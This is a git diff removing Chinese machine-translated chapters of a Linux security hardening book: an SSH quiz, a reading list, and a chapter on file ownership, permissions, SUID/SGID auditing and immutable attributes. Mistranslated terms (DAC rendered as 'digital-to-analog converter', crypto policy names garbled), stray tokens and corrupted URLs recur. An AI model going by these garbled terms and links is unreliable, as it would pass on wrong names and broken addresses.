Secure Shell 通过互联网登录是安全的。 -C)安全外壳在其默认配置中是不安全的。 -D)使用安全外壳最安全的方法是使用用户名和密码登录。 - -2. 为了符合安全外壳的最佳安全实践,您会做以下哪三件事? - -a)确保所有用户都使用强密码通过安全外壳登录。 -B)让所有用户创建一个公钥/私钥对,并将他们的公钥传输到他们想要登录的服务器。 -C)禁用通过用户名/密码登录的功能。 -D)确保根用户使用的是强密码。 -E)禁用根用户的登录能力。 - -3. `sshd_config`文件中的以下哪一行将导致僵尸网络不扫描您的系统的登录漏洞? - -a)。`PasswordAuthentication no`T4【B】)。`PasswordAuthentication yes` -C)。`PermitRootLogin yes` -D)。`PermitRootLogin no` - -4. 您如何将 SFTP 的用户限制在他或她自己指定的目录中? - -a)确保在该用户的目录上设置了正确的所有权和权限。 -B)在`sshd_config`文件中,禁用该用户通过普通 SSH 登录的能力,并为该用户定义一个`chroot`目录。 -C)用 TCP 包装器定义用户的限制。 -D)在服务器上使用全磁盘加密,这样 SFTP 用户只能访问他们自己的目录。 - -5. 您会使用以下哪两个命令将您的私有 SSH 密钥添加到您的会话密钥环中? - -a)`ssh-copy-id` -B)`exec /usr/bin/ssh-agent` -C)`exec /usr/bin/ssh-agent $SHELL` -D)`ssh-agent` -E)`ssh-agent $SHELL` -F)`ssh-add` - -6. NIST 推荐算法列表中*和*哪个不是? - -a)`RSA`T3】B)`ECDSA`T4】C)`Ed25519` - -7. 以下哪一项是为卡特琳创建自定义配置的正确指令? - -a)`User Match katelyn` -B)`Match katelyn` -C)`Match Account katelyn`T6】D)`Match User katelyn` - -8. 创建`~/.ssh/config`文件时,该文件的权限值应该是多少? - -a)`600` -B)`640` -C)`644`T6】D)`700` - -9. 以下哪种加密策略提供了 CentOS 8 上最强的加密? - -a)遗产 -B) FIPS -C)违约 -D)未来 - -10. 以下哪个标准定义了 NIST 当前对加密算法的建议? - -a)FIPS 140-2 -b)FIPS 140-3 -c)CNSA -d)套房 b - -# 进一步阅读 - -* 如何在 Debian 10-Buster 上设置 SSH 密钥:[https://dev connected . com/如何设置-SSH-keys-on-Debian-10-Buster/](https://devconnected.com/how-to-set-up-ssh-keys-on-debian-10-buster/) -* 如何配置 OpenSSH 服务器:[https://www.ssh.com/ssh/sshd_config/](https://www.ssh.com/ssh/sshd_config/) -* 设置无密码 SSH:[https://www.redhat.com/sysadmin/passwordless-ssh](https://www.redhat.com/sysadmin/passwordless-ssh) -* Unix、Linux 和 BSD 的 OpenSSH 最佳实践:[https://www . cyber iti . biz/tips/Linux-Unix-BSD-OpenSSH-server-最佳实践. html](https://www.cyberciti.biz/tips/linux-unix-bsd-openssh-server-best-practices.html) -* Linux SSH 安全:[https://phoenixnap.com/blog/linux-ssh-security](https://phoenixnap.com/blog/linux-ssh-security) -* 保护 ubuntu 上的 ssh 服务器:[https://devo PS . ionos . com/教程/保护 Ubuntu 上的 SSH 服务器/](https://devops.ionos.com/tutorials/secure-the-ssh-server-on-ubuntu/) -* 不同主机的不同 SSH 配置:[https://www . putorius . net/如何保存每用户每主机-ssh-client-settings.html](https://www.putorius.net/how-to-save-per-user-per-host-ssh-client-settings.html) -* SSH 检查工具: [https://crosscheck/](https://sshcheck.com/) -* SSH 扫描仪:https://github . com/Mozilla/ssh _ scan -* 绍丹 SSH 查询:[https://www.shodan.io/search?query=ssh](https://www.shodan.io/search?query=ssh) -* Mozilla OpenSSH 安全指南:[https://infosec.mozilla.org/guidelines/openssh](https://infosec.mozilla.org/guidelines/openssh)T2】 -* 通过 SSH 在远程系统上执行命令:[https://www . 2 day geek . com/execute-run-Linux-commands-remote-system-over-SSH/](https://www.2daygeek.com/execute-run-linux-commands-remote-system-over-ssh/) -* NIST 套件 B:[https://CSRC . NIST . gov/CSRC/media/events/ispab-2006 年 3 月-meeting/documents/e _ Barker-2006 年 3 月-ispab.pdf](https://csrc.nist.gov/csrc/media/events/ispab-march-2006-meeting/documents/e_barker-march2006-ispab.pdf) -* CNSA 套件和量子密码学 -* FIPS 140-3:[https://csrc.nist.gov/projects/fips-140-3-transition-effort](https://csrc.nist.gov/projects/fips-140-3-transition-effort) -* ChaCha20 和 poly 1305:[https://tools.ietf.org/html/rfc7539](https://tools.ietf.org/html/rfc7539) -* 红帽企业 Linux 8 上的系统范围加密策略:[https://access . Red Hat . com/documentation/en-us/Red _ Hat _ Enterprise _ Linux/8/html/security _ Harding/使用系统范围加密策略安全-Harding #系统范围加密策略 _ 使用系统范围加密策略](https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/8/html/security_hardening/using-the-system-wide-cryptographic-policies_security-hardening#system-wide-crypto-policies_using-the-system-wide-cryptographic-policies) -* 如何注销 Linux 中的非活动用户:[https://www . ostechnix . com/auto-注销-非活动-用户-时间段-linux/](https://www.ostechnix.com/auto-logout-inactive-users-period-time-linux/) -* 配置特定于主机的 SSH 设置:[https://www . putorius . net/如何保存每个用户每个主机-ssh-client-settings.html](https://www.putorius.net/how-to-save-per-user-per-host-ssh-client-settings.html) -* 如何使用 sshFS 通过 SSH 挂载远程目录:[https://linu Xie . com/post/如何使用-sshfs 通过 SSH 挂载远程目录/](https://linuxize.com/post/how-to-use-sshfs-to-mount-remote-directories-over-ssh/) \ No newline at end of file diff --git a/docs/master-linux-sec-hard/07.md b/docs/master-linux-sec-hard/07.md deleted file mode 100644 index 9a56a6d1..00000000 --- a/docs/master-linux-sec-hard/07.md +++ /dev/null @@ -1,745 +0,0 @@ -# 七、掌握自主访问控制 - -**自主访问控制** ( **数模转换器**)实际上只是意味着每个用户都有能力控制谁可以进入他们的东西。如果我想打开我的主目录,以便系统上的所有其他用户都可以进入它,我可以这样做。这样做之后,我就可以控制谁可以访问每个特定的文件。在下一章中,我们将使用我们的 DAC 技能来管理共享目录,其中一个组的成员可能需要对其中的文件进行不同级别的访问。 - -在您的 Linux 职业生涯的这个阶段,您可能已经知道通过设置文件和目录权限来控制访问的基础知识。在这一章中,我们将回顾基础知识,然后我们将了解一些更高级的概念。 - -在本章中,我们将涵盖以下主题: - -* 使用`chown`更改文件和目录的所有权 -* 使用`chmod`设置文件和目录的权限 -* 在常规文件中,SUID 和 SGID 设置可以为我们做什么 -* 在不需要的文件上设置 SUID 和 SGID 权限的安全影响 -* 如何使用扩展文件属性保护敏感文件 -* 保护系统配置文件 - -# 使用 chown 更改文件和目录的所有权 - -控制对文件和目录的访问实际上可以归结为确保适当的用户可以访问他们自己的文件和目录,并且每个文件和目录都有权限设置,只有授权用户才能访问它们。`chown`实用程序涵盖了这个等式的第一部分。 - -`chown`的一个独特之处在于,您必须拥有 sudo 权限才能使用它,即使您在自己的目录中处理自己的文件。您可以使用它来同时更改文件或目录的用户、与文件或目录相关联的组或两者。 - -首先,假设您拥有`perm_demo.txt`文件,并且您希望将用户和组的关联更改为另一个用户的关联。在这种情况下,我将文件所有权从我更改为`maggie`: - -```sh -[donnie@localhost ~]$ ls -l perm_demo.txt --rw-rw-r--. 1 donnie donnie 0 Nov 5 20:02 perm_demo.txt - -[donnie@localhost ~]$ sudo chown maggie:maggie perm_demo.txt - -[donnie@localhost ~]$ ls -l perm_demo.txt --rw-rw-r--. 1 maggie maggie 0 Nov 5 20:02 perm_demo.txt -[donnie@localhost ~]$ -``` - -`maggie:maggie`中的第一个`maggie`是您想要授予所有权的用户。冒号后的第二个`maggie`代表您希望文件与之关联的组。由于我将用户和组都更改为`maggie`,所以我可以省略第二个`maggie`,第一个`maggie`后面跟着一个冒号,这样我就可以获得相同的结果: - -```sh -sudo chown maggie: perm_demo.txt -``` - -要仅更改组关联而不更改用户,只需列出组名,前面加一个冒号: - -```sh -[donnie@localhost ~]$ sudo chown :accounting perm_demo.txt - -[donnie@localhost ~]$ ls -l perm_demo.txt --rw-rw-r--. 1 maggie accounting 0 Nov 5 20:02 perm_demo.txt -[donnie@localhost ~]$ -``` - -最后,要只更改用户而不更改组,请列出不带尾随冒号的用户名: - -```sh -[donnie@localhost ~]$ sudo chown donnie perm_demo.txt - -[donnie@localhost ~]$ ls -l perm_demo.txt --rw-rw-r--. 1 donnie accounting 0 Nov 5 20:02 perm_demo.txt -[donnie@localhost ~]$ -``` - -这些命令在目录中的工作方式与在文件中的工作方式相同。但是,如果您还想更改目录内容的所有权和/或组关联,同时对目录本身进行更改,请使用`-R`选项,该选项代表递归。在这种情况下,我只想将`perm_demo_dir`目录的组更改为`accounting`。让我们看看我们必须从什么开始: - -```sh -[donnie@localhost ~]$ ls -ld perm_demo_dir -drwxrwxr-x. 2 donnie donnie 74 Nov 5 20:17 perm_demo_dir - -[donnie@localhost ~]$ ls -l perm_demo_dir -total 0 --rw-rw-r--. 1 donnie donnie 0 Nov 5 20:17 file1.txt --rw-rw-r--. 1 donnie donnie 0 Nov 5 20:17 file2.txt --rw-rw-r--. 1 donnie donnie 0 Nov 5 20:17 file3.txt --rw-rw-r--. 1 donnie donnie 0 Nov 5 20:17 file4.txt -``` - -现在,让我们运行命令并查看结果: - -```sh -[donnie@localhost ~]$ sudo chown -R :accounting perm_demo_dir - -[donnie@localhost ~]$ ls -ld perm_demo_dir -drwxrwxr-x. 2 donnie accounting 74 Nov 5 20:17 perm_demo_dir - -[donnie@localhost ~]$ ls -l perm_demo_dir -total 0 --rw-rw-r--. 1 donnie accounting 0 Nov 5 20:17 file1.txt --rw-rw-r--. 1 donnie accounting 0 Nov 5 20:17 file2.txt --rw-rw-r--. 1 donnie accounting 0 Nov 5 20:17 file3.txt --rw-rw-r--. 1 donnie accounting 0 Nov 5 20:17 file4.txt -[donnie@localhost ~]$ - -``` - -这就是`chown`的全部。 - -# 使用 chmod 设置文件和目录的权限 - -在 Unix 和 Linux 系统上,您可以使用`chmod`实用程序来设置文件和目录的权限值。您可以为文件或目录的用户、与文件或目录关联的组等设置权限。三种基本权限如下: - -* `r`:表示读取权限。 -* `w`:表示有写权限。 -* `x`:这是可执行权限。您可以将其应用于任何类型的程序文件或目录。如果你对一个目录应用了可执行权限,被授权的人就可以进入其中。 - -如果你在一个文件上执行`ls -l`,你会看到如下内容: - -```sh --rw-rw-r--. 1 donnie donnie 804692 Oct 28 18:44 yum_list.txt -``` - -这一行的第一个字符表示文件的类型。在这种情况下,我们可以看到一个破折号,它表示一个常规文件。(普通文件几乎是普通用户在日常生活中能够访问的所有类型的文件。)接下来的三个字符,`rw-`,表示文件对用户有读写权限,用户是文件的拥有者。然后,我们可以看到该组的`rw-`权限和其他人的`r--`权限。程序文件也将设置可执行权限: - -```sh --rwxr-xr-x. 1 root root 62288 Nov 20 2015 xargs -``` - -这里我们可以看到`xargs`程序文件为大家设置了可执行权限。 - -有两种方法可以使用`chmod`更改权限设置: - -* 符号方法 -* 数值方法 - -接下来我们将介绍这些方法。 - -# 使用符号方法设置权限 - -当您以普通用户身份创建文件时,默认情况下,它将对用户和组拥有读/写权限,对其他人拥有读权限。 - -```sh -chmod u+x donnie_script.sh -chmod g+x donnie_script.sh -chmod o+x donnie_script.sh -chmod u+x,g+x donnie_script.sh -chmod a+x donnie_script.sh -``` - -前三个命令为用户、组和其他人添加了可执行权限。第四个命令为用户和组添加可执行权限,而最后一个命令为所有人添加可执行权限(`a`为所有人)。您也可以通过将`+`替换为`-`来移除可执行权限。最后,您还可以根据需要添加或删除读或写权限。 - -虽然这种方法有时很方便,但它也有一点缺陷;也就是说,它只能向已经存在的内容添加权限,或者从已经存在的内容中移除权限。如果您需要确保特定文件的所有权限都设置为某个值,那么符号方法可能会有点笨拙。对于 shell 脚本来说,忘了它吧。在 shell 脚本中,您需要添加各种额外的代码来确定已经设置了哪些权限。数值方法可以极大地简化我们的工作。 - -# 用数值方法设置权限 - -使用数值方法,您将使用八进制值来表示文件或目录的权限设置。对于`r`、`w`和`x`权限,分别分配数值`4`、`2`和`1`。您可以对用户、组和其他位置执行此操作,然后将它们全部相加,以获得文件或目录的权限值: - -| **用户** | **组** | **其他** | -| `rwx` | `rwx` | `rwx` | -| `421` | `421` | `421` | -| `7` | `7` | `7` | - -因此,如果您为每个人设置了所有权限,文件或目录的值将为`777`。如果我要创建一个 shell 脚本文件,默认情况下,它将具有标准的`664`权限,即用户和组的读写权限,其他人的只读权限: - -```sh --rw-rw-r--. 1 donnie donnie 0 Nov 6 19:18 donnie_script.sh -``` - -If you create a file with root privileges, either with sudo or from the root user command prompt, you'll see that the default permissions setting is the more restrictive `644`. - -假设我想让这个脚本可执行,但我想成为全世界唯一能用它做任何事情的人。为此,我可以执行以下操作: - -```sh -[donnie@localhost ~]$ chmod 700 donnie_script.sh - -[donnie@localhost ~]$ ls -l donnie_script.sh --rwx------. 1 donnie donnie 0 Nov 6 19:18 donnie_script.sh -[donnie@localhost ~]$ -``` - -通过这个简单的命令,我已经删除了该组和其他人的所有权限,并为自己设置了可执行权限。这种东西使得数值方法在编写 shell 脚本时非常方便。 - -一旦您使用数值方法一段时间,查看文件并计算其数值权限值将成为第二天性。同时,您可以使用`stat`和`-c %a`选项来显示值。可以这样做: - -```sh -[donnie@localhost ~]$ stat -c %a yum_list.txt -664 -[donnie@localhost ~]$ - -[donnie@localhost ~]$ stat -c %a donnie_script.sh -700 -[donnie@localhost ~]$ - -[donnie@localhost ~]$ stat -c %a /etc/fstab -644 -[donnie@localhost ~]$ -``` - -如果您想一次查看所有文件的数字权限,请执行以下操作: - -```sh -[donnie@donnie-ca ~]$ stat -c '%n %a ' * -dropbear 755 -internal.txt 664 -password.txt 664 -pki-server.crt 664 -pki-server.p12 644 -yum_list.txt 664 -[donnie@donnie-ca ~]$ -``` - -在这里,您可以在命令的末尾看到通配符(`*`),表示您想要查看所有文件的设置。`%n`表示您想要查看文件名以及权限设置。因为我们使用了两个`-c`选项,所以我们必须用一对单引号将这两个选项括起来。这里唯一的小问题是,这个输出没有显示这些项目中哪些是文件,哪些是目录。然而,由于目录需要可执行权限,以便人们可以`cd`进入其中,我们可以猜测`dropbear`可能是一个目录。不过可以肯定的是,使用`ls -l`就可以了,比如: - -```sh -[donnie@donnie-ca ~]$ ls -l -total 2180 --rwxr-xr-x. 1 donnie donnie 277144 Apr 22 2018 dropbear --rw-rw-r--. 1 donnie donnie 13 Sep 19 13:32 internal.txt --rw-rw-r--. 1 donnie donnie 11 Sep 19 13:42 password.txt --rw-rw-r--. 1 donnie donnie 1708 Sep 19 14:41 pki-server.crt --rw-r--r--. 1 root root 1320 Sep 20 21:08 pki-server.p12 --rw-rw-r--. 1 donnie donnie 1933891 Sep 19 18:04 yum_list.txt -[donnie@donnie-ca ~]$ -``` - -现在,让我们继续讨论几个非常特殊的权限设置。 - -# 在常规文件中使用 SUID 和 SGID - -当常规文件设置了 SUID 权限时,访问该文件的人将拥有与该文件用户相同的权限。 - -为了演示这一点,假设 Maggie,一个普通的、没有权限的用户,想要更改她自己的密码。因为这是她自己的密码,所以她只使用一个字`passwd`命令,而不使用 sudo: - -```sh -[maggie@localhost ~]$ passwd -Changing password for user maggie. -Changing password for maggie. -(current) UNIX password: -New password: -Retype new password: -passwd: all authentication tokens updated successfully. -[maggie@localhost ~]$ -``` - -要更改密码,必须对`/etc/shadow`文件进行更改。在我的 CentOS 机器上,影子文件的权限如下所示: - -```sh -[donnie@localhost etc]$ ls -l shadow -----------. 1 root root 840 Nov 6 19:37 shadow -[donnie@localhost etc]$ -``` - -在 Ubuntu 机器上,它们看起来像这样: - -```sh -donnie@ubuntu:/etc$ ls -l shadow --rw-r----- 1 root shadow 1316 Nov 4 18:38 shadow -donnie@ubuntu:/etc$ -``` - -无论哪种方式,权限设置都不允许 Maggie 修改影子文件。但是,通过更改密码,她能够修改影子文件。发生什么事了?为了回答这个问题,让我们进入`/usr/bin`目录,看看`passwd`可执行文件的权限设置: - -```sh -[donnie@localhost etc]$ cd /usr/bin - -[donnie@localhost bin]$ ls -l passwd --rwsr-xr-x. 1 root root 27832 Jun 10 2014 passwd -[donnie@localhost bin]$ -``` - -对于用户权限,您将看到`rws`而不是`rwx`。`s`表示此文件具有 SUID 权限集。由于文件属于根用户,因此访问该文件的任何人都具有与根用户相同的权限。我们可以看到小写的`s`这一事实意味着该文件也为根用户设置了可执行权限。因为允许根用户修改影子文件,所以无论谁使用这个`passwd`工具来更改他或她自己的密码,也可以修改影子文件。 - -具有 SGID 权限集的文件在该组的可执行位置有一个`s`: - -```sh -[donnie@localhost bin]$ ls -l write --rwxr-sr-x. 1 root tty 19536 Aug 4 07:18 write -[donnie@localhost bin]$ -``` - -与`tty`组相关联的`write`实用程序允许用户通过他们的命令行控制台向其他用户发送消息。拥有`tty`组权限允许用户这样做。 - -# SUID 和 SGID 许可的安全含义 - -尽管拥有 SUID 或 SGID 对您的可执行文件的权限可能很有用,但我们应该将其视为一种必要的邪恶。虽然在某些操作系统文件上设置 SUID 或 SGID 对于 Linux 系统的运行是必不可少的,但是当用户在其他文件上设置 SUID 或 SGID 时,它就会成为一个安全风险。问题是,如果入侵者发现了一个属于根用户并设置了 SUID 位的可执行文件,他们就可以利用这个文件来利用系统。在他们离开之前,他们可能会留下自己的带有 SUID 集的根文件,这将允许他们在下次遇到它时轻松进入系统。如果没有找到入侵者的 SUID 文件,入侵者仍然可以访问,即使最初的问题已经解决。 - -SUID 的数值是`4000`,SGID 的数值是`2000`。要在文件中设置 SUID,您只需将`4000`添加到您要设置的权限值中。例如,如果您有一个权限值为`755`的文件,您可以通过将权限值更改为`4755`来设置 SUID。(这将为用户提供读/写/执行权限,为组提供读/执行权限,为其他用户提供读/执行权限,并添加 SUID 位。) - -# 找到伪造的 SUID 或 SGID 文件 - -一个快速的安全技巧是运行`find`命令来清点系统中的 SUID 和 SGID 文件。您还可以将输出保存到文本文件中,以便验证自运行命令以来是否添加了任何内容。您的命令如下所示: - -```sh -sudo find / -type f \( -perm -4000 -o -perm -2000 \) > suid_sgid_files.txt -``` - -细分如下: - -* `/`:我们正在搜索整个文件系统。由于有些目录只有拥有 root 权限的人才可以访问,所以我们需要使用`sudo`。 -* `-type f`:这意味着我们在搜索常规文件,包括可执行程序文件和 shell 脚本。 -* `-perm 4000`:我们正在搜索设置了`4000`或【SUID】权限位的文件。 -* `-o`:or 运算符。 -* `-perm 2000`:我们正在搜索设置了`2000`或【SGID】权限位的文件。 -* `>`:这里,我们用`>`操作符将输出重定向到`suid_sgid_files.txt`文本文件。 - -请注意,这两个`-perm`项需要组合成一个包含在一对括号中的术语。为了防止 Bash shell 错误地解释括号字符,我们需要用反斜杠对每个字符进行转义。我们还需要在第一个括号字符和第一个`-perm`之间放置一个空格,在`2000`和最后一个反斜杠之间放置另一个空格。此外,`-type f`和`-perm`之间的 and 运算符被理解为存在,即使没有插入`-a`。您将创建的文本文件应该如下所示: - -```sh -/usr/bin/chfn -/usr/bin/chsh -/usr/bin/chage -/usr/bin/gpasswd -/usr/bin/newgrp -/usr/bin/mount -/usr/bin/su -/usr/bin/umount -/usr/bin/sudo -. . . -. . . -/usr/lib64/dbus-1/dbus-daemon-launch-helper -``` - -或者,如果您想查看哪些文件是 SUID,哪些是 SGID 的详细信息,您可以添加`-ls`选项: - -```sh -sudo find / -type f \( -perm -4000 -o -perm -2000 \) -ls > suid_sgid_files.txt -``` - -好吧。你现在说,*嘿,唐尼,这太过分了,打不动*。我听到了。幸运的是,有一个类似的速记。从`4000 + 2000 = 6000`开始,我们可以创建一个与 SUID ( `4000`)或 SGID ( `2000`)值匹配的表达式,如下所示: - -```sh -sudo find / -type f -perm /6000 -ls > suid_sgid_files.txt -``` - -这个命令中的`/6000`意味着我们要找的不是`4000`就是`2000`值。就我们的目的而言,这是仅有的两个可以组合成`6000`的加数。 - -In some older references, you might see `+6000` instead of `/6000`. Using the `+` sign for this has been deprecated, and no longer works. - -现在,假设 Maggie,不管出于什么原因,决定在她主目录的 shell 脚本文件中设置 SUID 位: - -```sh -[maggie@localhost ~]$ chmod 4755 bad_script.sh - -[maggie@localhost ~]$ ls -l -total 0 --rwsr-xr-x. 1 maggie maggie 0 Nov 7 13:06 bad_script.sh -[maggie@localhost ~]$ - -``` - -再次运行`find`命令,将输出保存到不同的文本文件中。然后,对两个文件执行`diff`操作,查看发生了什么变化: - -```sh -[donnie@localhost ~]$ diff suid_sgid_files.txt suid_sgid_files2.txt -17a18 -> /home/maggie/bad_script.sh -[donnie@localhost ~]$ -``` - -唯一不同的是增加了 Maggie 的 shell 脚本文件。 - -# 动手实验室-搜索 SUID 和 SGID 的文件 - -您可以在任一台虚拟机上执行本实验。您将把`find`命令的输出保存到一个文本文件中。让我们开始吧: - -1. 在将输出保存到文本文件之前,在整个文件系统中搜索设置了 SUID 或 SGID 的所有文件: - -```sh - sudo find / -type f -perm /6000 -ls > suid_sgid_files.txt -``` - -2. 登录到系统上的任何其他用户帐户,并创建一个虚拟 shell 脚本文件。然后,在该文件上设置 SUID 权限,然后注销并登录到您自己的用户帐户: - -```sh -su - desired_user_account -touch some_shell_script.sh chmod 4755 some_shell_script.sh -ls -l some_shell_script.sh -exit -``` - -3. 再次运行`find`命令,将输出保存到不同的文本文件: - -```sh -sudo find / -type f -perm /6000 -ls > suid_sgid_files_2.txt -``` - -4. 查看这两个文件的区别: - -```sh -diff suid_sgid_files.txt suid_sgid_files_2.txt -``` - -实验到此结束,祝贺你! - -# 防止分区上使用 SUID 和 SGID - -正如我们之前提到的,您不希望用户将 SUID 和 SGID 分配给他们创建的文件,因为这会带来安全风险。通过使用`nosuid`选项安装分区,可以防止分区使用 SUID 和 SGID。因此,我在上一章中创建的`luks`分区的`/etc/fstab`文件条目如下所示: - -```sh -/dev/mapper/luks-6cbdce17-48d4-41a1-8f8e-793c0fa7c389 /secrets xfs nosuid 0 0 -``` - -在操作系统安装期间,不同的 Linux 发行版有不同的设置默认分区方案的方法。大多数情况下,默认的业务方式是在`/`分区下拥有除`/boot`目录之外的所有目录。如果您要设置一个自定义分区方案,您可以将`/home`目录放在其自己的分区中,您可以在其中设置`nosuid`选项。请记住,您不想为`/`分区设置`nosuid`;否则,您将拥有一个无法正常运行的操作系统。 - -# 使用扩展文件属性保护敏感文件 - -扩展文件属性是另一个可以帮助您保护敏感文件的工具。它们不会阻止入侵者访问您的文件,但可以帮助您防止敏感文件被更改或删除。有相当多的扩展属性,但我们只需要看看那些处理文件安全的属性。 - -首先,让我们使用`lsattr`命令来查看我们已经设置了哪些扩展属性。在 CentOS 机器上,您的输出看起来像这样: - -```sh -[donnie@localhost ~]$ lsattr ----------------- ./yum_list.txt ----------------- ./perm_demo.txt ----------------- ./perm_demo_dir ----------------- ./donnie_script.sh ----------------- ./suid_sgid_files.txt ----------------- ./suid_sgid_files2.txt -[donnie@localhost ~]$ -``` - -到目前为止,我没有在任何文件上设置任何扩展属性。 - -在 Ubuntu 机器上,输出看起来更像这样: - -```sh -donnie@ubuntu:~$ lsattr --------------e-- ./file2.txt --------------e-- ./secret_stuff_dir --------------e-- ./secret_stuff_for_frank.txt.gpg --------------e-- ./good_stuff --------------e-- ./secret_stuff --------------e-- ./not_secret_for_frank.txt.gpg --------------e-- ./file4.txt --------------e-- ./good_stuff_dir -donnie@ubuntu:~$ -``` - -我们不会担心`e`属性,因为这仅仅意味着分区是用 ext4 文件系统格式化的。CentOS 没有设置这个属性,因为它的分区是用 XFS 文件系统格式化的。 - -我们将在本节中讨论的两个属性如下: - -* `a`:可以在具有该属性的文件末尾追加文本,但不能覆盖。只有拥有适当 sudo 权限的人才能设置或删除此属性。 -* `i`:这使得一个文件不可变,只有拥有适当 sudo 权限的人才能设置或删除。不能以任何方式删除或更改具有此属性的文件。也不可能创建到具有此属性的文件的硬链接。 - -要设置或删除属性,需要使用`chattr`命令。您可以在一个文件上设置多个属性,但仅限于有意义的时候。例如,您不会在同一个文件中同时设置`a`和`i`属性,因为`i`将覆盖`a`。 - -让我们从创建`perm_demo.txt`文件开始,该文件包含以下文本: - -```sh -This is Donnie's sensitive file that he doesn't want to have overwritten. -``` - -现在,让我们继续设置属性。 - -# 设置 a 属性 - -现在,我来设置`a`属性: - -```sh -[donnie@localhost ~]$ sudo chattr +a perm_demo.txt -[sudo] password for donnie: -[donnie@localhost ~]$ -``` - -您可以使用`+`添加属性,使用`-`删除属性。另外,文件属于我并在我自己的主目录中也没关系。我仍然需要 sudo 权限来添加或删除这个属性。 - -现在,让我们看看当我试图覆盖这个文件时会发生什么: - -```sh -[donnie@localhost ~]$ echo "I want to overwrite this file." > perm_demo.txt --bash: perm_demo.txt: Operation not permitted - -[donnie@localhost ~]$ sudo echo "I want to overwrite this file." > perm_demo.txt --bash: perm_demo.txt: Operation not permitted -[donnie@localhost ~]$ -``` - -不管有没有`sudo`权限,我都不能覆盖。那么,如果我尝试附加一些东西呢? - -```sh -[donnie@localhost ~]$ echo "I want to append this to the end of the file." >> perm_demo.txt -[donnie@localhost ~]$ -``` - -这次没有错误信息。让我们看看文件里有什么: - -```sh -This is Donnie's sensitive file that he doesn't want to have overwritten. -I want to append this to the end of the file. -``` - -除了不能覆盖文件,我也不能删除它: - -```sh -[donnie@localhost ~]$ rm perm_demo.txt -rm: cannot remove ‘perm_demo.txt’: Operation not permitted - -[donnie@localhost ~]$ sudo rm perm_demo.txt -[sudo] password for donnie: -rm: cannot remove ‘perm_demo.txt’: Operation not permitted -[donnie@localhost ~]$ -``` - -所以,`a`起作用了。但是,我决定不再设置此属性,所以我将删除它: - -```sh -[donnie@localhost ~]$ sudo chattr -a perm_demo.txt -[donnie@localhost ~]$ lsattr perm_demo.txt ----------------- perm_demo.txt -[donnie@localhost ~]$ -``` - -# 设置 I 属性 - -当一个文件设置了`i`属性时,你唯一能做的就是查看它的内容。您不能对其进行更改、移动、删除、重命名或创建硬链接。让我们用`perm_demo.txt`文件测试一下: - -```sh -[donnie@localhost ~]$ sudo chattr +i perm_demo.txt -[donnie@localhost ~]$ lsattr perm_demo.txt -----i----------- perm_demo.txt -[donnie@localhost ~]$ -``` - -有趣的是: - -```sh -[donnie@localhost ~]$ sudo echo "I want to overwrite this file." > perm_demo.txt --bash: perm_demo.txt: Permission denied -[donnie@localhost ~]$ echo "I want to append this to the end of the file." >> perm_demo.txt --bash: perm_demo.txt: Permission denied -[donnie@localhost ~]$ sudo echo "I want to append this to the end of the file." >> perm_demo.txt --bash: perm_demo.txt: Permission denied -[donnie@localhost ~]$ rm -f perm_demo.txt -rm: cannot remove ‘perm_demo.txt’: Operation not permitted -[donnie@localhost ~]$ sudo rm -f perm_demo.txt -rm: cannot remove ‘perm_demo.txt’: Operation not permitted -[donnie@localhost ~]$ sudo rm -f perm_demo.txt -``` - -我还可以尝试一些命令,但你已经明白了。要删除`i`属性,请使用以下代码: - -```sh -[donnie@localhost ~]$ sudo chattr -i perm_demo.txt -[donnie@localhost ~]$ lsattr perm_demo.txt ----------------- perm_demo.txt -[donnie@localhost ~]$ -``` - -# 动手实验–设置安全相关的扩展文件属性 - -在本实验中,您需要创建一个带有您选择的文本的`perm_demo.txt`文件。您将设置`i`和`a`属性并查看结果。让我们开始吧: - -1. 使用您喜欢的文本编辑器,用一行文本创建`perm_demo.txt`文件。 -2. 查看文件的扩展属性: - -```sh -lsattr perm_demo.txt -``` - -3. 添加`a`属性: - -```sh -sudo chattr +a perm_demo.txt -lsattr perm_demo.txt -``` - -4. 尝试覆盖并删除文件: - -```sh -echo "I want to overwrite this file." > perm_demo.txt -sudo echo "I want to overwrite this file." > perm_demo.txt -rm perm_demo.txt -sudo rm perm_demo.txt -``` - -5. 现在,在文件中添加一些内容: - -```sh -echo "I want to append this line to the end of the file." >> perm_demo.txt -``` - -6. 删除`a`属性,增加`i`属性: - -```sh -sudo chattr -a perm_demo.txt -lsattr perm_demo.txt -sudo chattr +i perm_demo.txt -lsattr perm_demo.txt -``` - -7. 重复*步骤 4* 。 -8. 此外,尝试更改文件名并创建文件的硬链接: - -```sh -mv perm_demo.txt some_file.txt -sudo mv perm_demo.txt some_file.txt -ln ~/perm_demo.txt ~/some_file.txt -sudo ln ~/perm_demo.txt ~/some_file.txt -``` - -9. 现在,尝试创建文件的符号链接: - -```sh -ln -s ~/perm_demo.txt ~/some_file.txt -``` - -Note that the `i` attribute won't let you create hard links to a file, but it will let you create symbolic links. - -实验到此结束,祝贺你! - -# 保护系统配置文件 - -如果您查看任何给定 Linux 发行版的配置文件,您会发现它们中的大多数属于根用户或指定的系统用户。您还会看到,这些文件中的大部分对其各自的所有者具有读写权限,对其他所有人都具有读取权限。这意味着每个人和他的兄弟都可以读取大多数 Linux 系统配置文件。以这个 Apache 网络服务器配置文件为例: - -```sh -[donnie@donnie-ca ~]$ cd /etc/httpd/conf -[donnie@donnie-ca conf]$ pwd -/etc/httpd/conf -[donnie@donnie-ca conf]$ ls -l httpd.conf --rw-r--r--. 1 root root 11753 Aug 6 09:44 httpd.conf -[donnie@donnie-ca conf]$ -``` - -当`r`处于“其他”位置时,登录的每个人,无论其权限级别如何,都可以查看 Apache 配置。 - -这有什么大不了的吗?这真的取决于你的情况。一些配置文件,尤其是网络服务器上某些基于 PHP 的**内容管理系统** ( **内容管理系统**)的配置文件,可能包含内容管理系统必须能够访问的纯文本密码。在这些情况下,很明显,您需要限制对这些配置文件的访问。但是其他不包含敏感密码的配置文件呢? - -对于只有少数管理员可以访问的服务器来说,这并不是什么大事。但是普通的非管理用户可以通过 Secure Shell 远程访问的服务器呢?如果他们没有任何 sudo 权限,他们就不能编辑任何配置文件,但是他们可以查看这些文件来查看您的服务器是如何配置的。如果他们看到事情是如何配置的,这是否有助于他们努力破坏系统,他们是否应该选择这样做? - -我不得不承认,这是我直到最近才考虑的事情,当时我成为了一家专门从事**物联网** ( **物联网**)设备安全的公司的 Linux 